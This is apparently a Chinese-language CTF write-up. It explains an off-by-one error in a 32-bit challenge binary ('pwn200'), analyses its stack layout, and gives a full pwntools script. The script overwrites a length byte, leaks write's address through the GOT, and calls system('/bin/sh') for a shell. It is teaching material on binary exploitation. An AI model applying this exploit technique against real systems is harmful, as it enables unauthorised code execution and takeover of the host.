Off-By-One

Author Avatar
Righteous 7月 24, 2017

Off-By-One Error

相关知识

差一错误(Off-by-one error)是指在计数时由于边界条件判断失误导致结果多一个单位或者少一个单位的错误,例如越界访问数组元素(访问数组最后一个元素的下一个内存单元)。

off-by-one错误可能会进一步引发其他错误,甚至是产生安全漏洞。例如对于代码memcpy(dst, src, size),如果能够通过off-by-one来改写size的值使之大于dst指向的缓冲区的大小,那么调用memcpy时便会进一步引发缓冲区溢出漏洞。

逆向分析

righteous@ubuntu:~/Desktop/Saike/lab1$ file pwn200
pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=fc609447c6b0ccfdb9df8b5bf26b50f152fe1950, stripped

查看pwn为32位ELF文件

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

开启了NX,将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令,所以无法在栈上填充并执行ShellCode,可以采用ROP,且题目提供了libc.so.6这个文件,如果能够实现函数地址泄漏的话,就可以拿到shell。

IDA PRO载入分析程序基本流程:

从伪代码可以看出:

1. 调用memset将缓冲区v1上的内容清零,缓冲区的长度为0x80字节;
2. 调用read读取数据到buf缓冲区中,读取的最大长度为nbytes+1(即17)字节;
3. 通过if来判断输入数据的合法性,即长度最多为10且前面8个字节的内容必须是syclover;
4. 调用read读取nbytes字节的数据到缓冲区v1中;
5. 调用write将缓冲区v1的内容写到标准输出流;

栈上的数据分布示意图如下所示:

buf的位置为ebp-0x1C,nbytes的位置为ebp-0x0C,二者之间的差距为0x10,即16字节。

read(0, &buf, nbytes + 1)

这里指定read最多可以读取17字节的内容,也就是说这里存在缓冲区溢出,通过read读取17字节的内容,就可以改写nbytes本身的值。

read(0, &buf, nbytes + 1)

可以改写nbytes最低位的一个字节的内容,例如可以将nbytes改写为0xFF。

read(0, &v1, nbytes)

一旦我们可以控制nbytes,我们就可以控制read读取的内容的长度,而缓冲区v1的大小只有0x80字节,我们是可以通过缓冲溢出改写函数的返回地址。

if ( strlen((const char *)&buf) - 1 <= 9 && !strncmp("syclover", (const char *)&buf, 8u) )

该if判断很容易绕过,让buf的数据以syclover\0开头即可,因为read可以读取\0,而strlen以\0作为字符串结束符且strncmp指定了比较的长度为8。

v1的起始地址为ebp-0x9C,填充0x9C+4=0xA0=160字节的数据即可覆盖函数的返回地址,如下图所示:

漏洞利用

利用分两个阶段:
第一阶段通过缓冲区溢出泄漏write函数的地址之后,我们让EIP再次跳转到sub_80484AC函数来执行,这样就可以接着进行第二阶段的缓冲区溢出过程,此时通过改写函数返回地址来执行system(“/bin/sh”),即可获取到服务器的控制权限。

第一阶段栈上的数据:

注: write函数的原型为ssize_t write(int fd, const void *buf, size_t nbytes),其中第一个参数fd指明输出句柄,这里采用标准输出流stdout(值为1);第二个参数是输出缓冲区的地址,这里填充为write函数的GOT地址;第三个参数为输出数据的字节数,因为地址占用4字节,所以填充为4即可。

第二阶段栈上的数据:

EXP

from pwn import *
context.log_level = 'debug'
DEBUG = 1
target = "./pwn200"
if DEBUG:
    p = process(target)
        libc=ELF('/lib/i386-linux-gnu/libc.so.6')
        elf = ELF(target)
else:
    p = remote("127.0.0.1",10001)
        libc=ELF('/lib/i386-linux-gnu/libc.so.6')
        elf = ELF(target)

write_plt = elf.symbols['write'] 
log.info('write_plt:' + hex(write_plt))
write_got = elf.got['write']
log.info('write_got:' + hex(write_got))
vulner_func = 0x080484AC
name = "syclover"
payload1 = name + '\x00'*(16-len(name)) + '\xFF'
p.recvuntil(':')
p.send(payload1)
payload2 = '\x00'*160 + p32(write_plt) + p32(vulner_func) + p32(1) + p32(write_got) + p32(4)
p.recvuntil(':\x00')
p.sendline(payload2)
write_addr = u32(p.recvn(4)) 
p.recvuntil(':')
p.send(payload1)
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system']) 
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh'))) 
payload3 = '\x00'*160  + p32(system_addr) + p32(vulner_func) + p32(binsh_addr) 
p.recvuntil(':')
p.send(payload3) 
p.interactive()

获取到shell: